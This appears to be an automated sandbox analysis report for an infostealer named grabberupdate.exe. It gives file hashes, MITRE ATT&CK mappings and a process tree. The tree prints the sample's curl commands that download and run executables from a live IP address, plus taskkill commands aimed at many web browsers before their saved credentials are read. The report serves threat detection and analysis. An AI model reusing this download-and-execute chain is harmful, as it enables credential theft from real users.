2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2

Analysis

max time kernel
213s
max time network
282s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
22/05/2024, 21:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

grabberupdate.exe
Size

87KB
MD5

ab378d6539627c52dbfc272c83eb420c
SHA1

039060f0fdefbe0a62147a7bbad9b1a526a78d61
SHA256

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2
SHA512

afe3be5f89ad67e2c4440d44c6ed890853eecb6cf34faed20d61ae49f30fa30a5cc390393b3ef4609a34a2121b6831cacf00ee6aa62c268e0b9fce0223bb0222
SSDEEP

1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfNxFOy:Hq6+ouCpk2mpcWJ0r+QNTBfNZ

Score

8^/10

spyware stealer

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3748	grabber.exe
2800	ram.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 15 IoCs

evasion

pid	Process
1572	taskkill.exe
3576	taskkill.exe
4140	taskkill.exe
4216	taskkill.exe
3960	taskkill.exe
3188	taskkill.exe
2960	taskkill.exe
3380	taskkill.exe
564	taskkill.exe
4560	taskkill.exe
4416	taskkill.exe
2968	taskkill.exe
5016	taskkill.exe
4716	taskkill.exe
568	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	taskkill.exe
Token: SeDebugPrivilege	1572	taskkill.exe
Token: SeDebugPrivilege	3576	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	4716	taskkill.exe
Token: SeDebugPrivilege	568	taskkill.exe
Token: SeDebugPrivilege	4216	taskkill.exe
Token: SeDebugPrivilege	3380	taskkill.exe
Token: SeDebugPrivilege	564	taskkill.exe
Token: SeDebugPrivilege	3960	taskkill.exe
Token: SeDebugPrivilege	4560	taskkill.exe
Token: SeDebugPrivilege	3188	taskkill.exe
Token: SeDebugPrivilege	4416	taskkill.exe
Token: SeDebugPrivilege	4140	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4572	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 760	1360	grabberupdate.exe	80
PID 1360 wrote to memory of 760	1360	grabberupdate.exe	80
PID 760 wrote to memory of 3644	760	cmd.exe	84
PID 760 wrote to memory of 3644	760	cmd.exe	84
PID 760 wrote to memory of 2536	760	cmd.exe	87
PID 760 wrote to memory of 2536	760	cmd.exe	87
PID 760 wrote to memory of 3748	760	cmd.exe	88
PID 760 wrote to memory of 3748	760	cmd.exe	88
PID 3748 wrote to memory of 4604	3748	grabber.exe	89
PID 3748 wrote to memory of 4604	3748	grabber.exe	89
PID 4604 wrote to memory of 1488	4604	cmd.exe	91
PID 4604 wrote to memory of 1488	4604	cmd.exe	91
PID 4604 wrote to memory of 1840	4604	cmd.exe	92
PID 4604 wrote to memory of 1840	4604	cmd.exe	92
PID 4604 wrote to memory of 2800	4604	cmd.exe	96
PID 4604 wrote to memory of 2800	4604	cmd.exe	96
PID 2800 wrote to memory of 2968	2800	ram.exe	97
PID 2800 wrote to memory of 2968	2800	ram.exe	97
PID 2800 wrote to memory of 1572	2800	ram.exe	99
PID 2800 wrote to memory of 1572	2800	ram.exe	99
PID 2800 wrote to memory of 3576	2800	ram.exe	100
PID 2800 wrote to memory of 3576	2800	ram.exe	100
PID 2800 wrote to memory of 5016	2800	ram.exe	101
PID 2800 wrote to memory of 5016	2800	ram.exe	101
PID 2800 wrote to memory of 2960	2800	ram.exe	102
PID 2800 wrote to memory of 2960	2800	ram.exe	102
PID 2800 wrote to memory of 4716	2800	ram.exe	103
PID 2800 wrote to memory of 4716	2800	ram.exe	103
PID 2800 wrote to memory of 568	2800	ram.exe	104
PID 2800 wrote to memory of 568	2800	ram.exe	104
PID 2800 wrote to memory of 4216	2800	ram.exe	105
PID 2800 wrote to memory of 4216	2800	ram.exe	105
PID 2800 wrote to memory of 3380	2800	ram.exe	106
PID 2800 wrote to memory of 3380	2800	ram.exe	106
PID 2800 wrote to memory of 564	2800	ram.exe	107
PID 2800 wrote to memory of 564	2800	ram.exe	107
PID 2800 wrote to memory of 3960	2800	ram.exe	108
PID 2800 wrote to memory of 3960	2800	ram.exe	108
PID 2800 wrote to memory of 4560	2800	ram.exe	109
PID 2800 wrote to memory of 4560	2800	ram.exe	109
PID 2800 wrote to memory of 3188	2800	ram.exe	110
PID 2800 wrote to memory of 3188	2800	ram.exe	110
PID 2800 wrote to memory of 4416	2800	ram.exe	111
PID 2800 wrote to memory of 4416	2800	ram.exe	111
PID 2800 wrote to memory of 4140	2800	ram.exe	112
PID 2800 wrote to memory of 4140	2800	ram.exe	112

C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe
"C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\62F0.tmp\62F1.tmp\62F2.bat C:\Users\Admin\AppData\Local\Temp\grabberupdate.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\system32\curl.exe
    curl -s -o grabber.exe "http://188.212.100.57:54391/download/grabber.exe"
    3⤵
    PID:3644
- - C:\Windows\system32\curl.exe
    curl -s -o wlms.exe "http://188.212.100.57:54391/download/wlms.exe"
    3⤵
    PID:2536
- - C:\Users\Admin\AppData\Local\Temp\grabber.exe
    grabber.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\79F3.tmp\79F4.tmp\79F5.bat C:\Users\Admin\AppData\Local\Temp\grabber.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4604
    - - C:\Windows\system32\curl.exe
        
        curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
        5⤵
        
        PID:1488
    - - C:\Windows\system32\curl.exe
        
        curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
        5⤵
        
        PID:1840
    - - C:\Users\Admin\AppData\Local\Temp\ram.exe
        
        ram.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2800
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2968
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3576
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM kometa.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2960
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM orbitum.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4716
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM centbrowser.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:568
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM 7star.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM sputnik.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3380
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM vivaldi.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:564
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM epicprivacybrowser.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3960
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4560
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM uran.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3188
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM yandex.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4416
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM iridium.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4140

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\62F0.tmp\62F1.tmp\62F2.bat

Filesize
202B

MD5
040dc40ccd7346ace502b30584d4d5a0

SHA1
886b8f5f079db8f5569235aa6dff74c1cf89942d

SHA256
f209745a8497c9b93a16dda0bf627dc88662184b00658013fec202e129f64450

SHA512
0319239eaebf27ff0f6c4be1b9f737da31d39faccbf47f6d0a0506d2771515928b38981d75365a0307defd530ff68b4de37d0af89519d052037782a741c7dc02

Download Submit
C:\Users\Admin\AppData\Local\Temp\79F3.tmp\79F4.tmp\79F5.bat

Filesize
230B

MD5
abdb6860d790577e02cca5005866bbe8

SHA1
6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37

SHA256
ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0

SHA512
1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

Download Submit
C:\Users\Admin\AppData\Local\Temp\cards.json

Filesize
4B

MD5
37a6259cc0c1dae299a7866489dff0bd

SHA1
2be88ca4242c76e8253ac62474851065032d6833

SHA256
74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b

SHA512
04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

Download Submit
C:\Users\Admin\AppData\Local\Temp\grabber.exe

Filesize
120KB

MD5
4e1e436848d533c9a00b762ac148786d

SHA1
42962a264fbdbc96eb8267052298be9143ecd8bf

SHA256
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd

SHA512
59d16efac5f0ea7c62d18ef30032eba907b8d6c097463a8244f3d709c85b90ec12387c94a4d8a35dfb59d0cbd2dc02d0b39a1f6bd12c5ccd050d552070fdf30d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ram.exe

Filesize
7.6MB

MD5
2c93399e0b0fc11cd03a56fc844a4816

SHA1
d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00

SHA256
081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155

SHA512
dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8

Download Submit
memory/2800-20-0x00007FF7746C0000-0x00007FF774EF3000-memory.dmp

Filesize
8.2MB

Download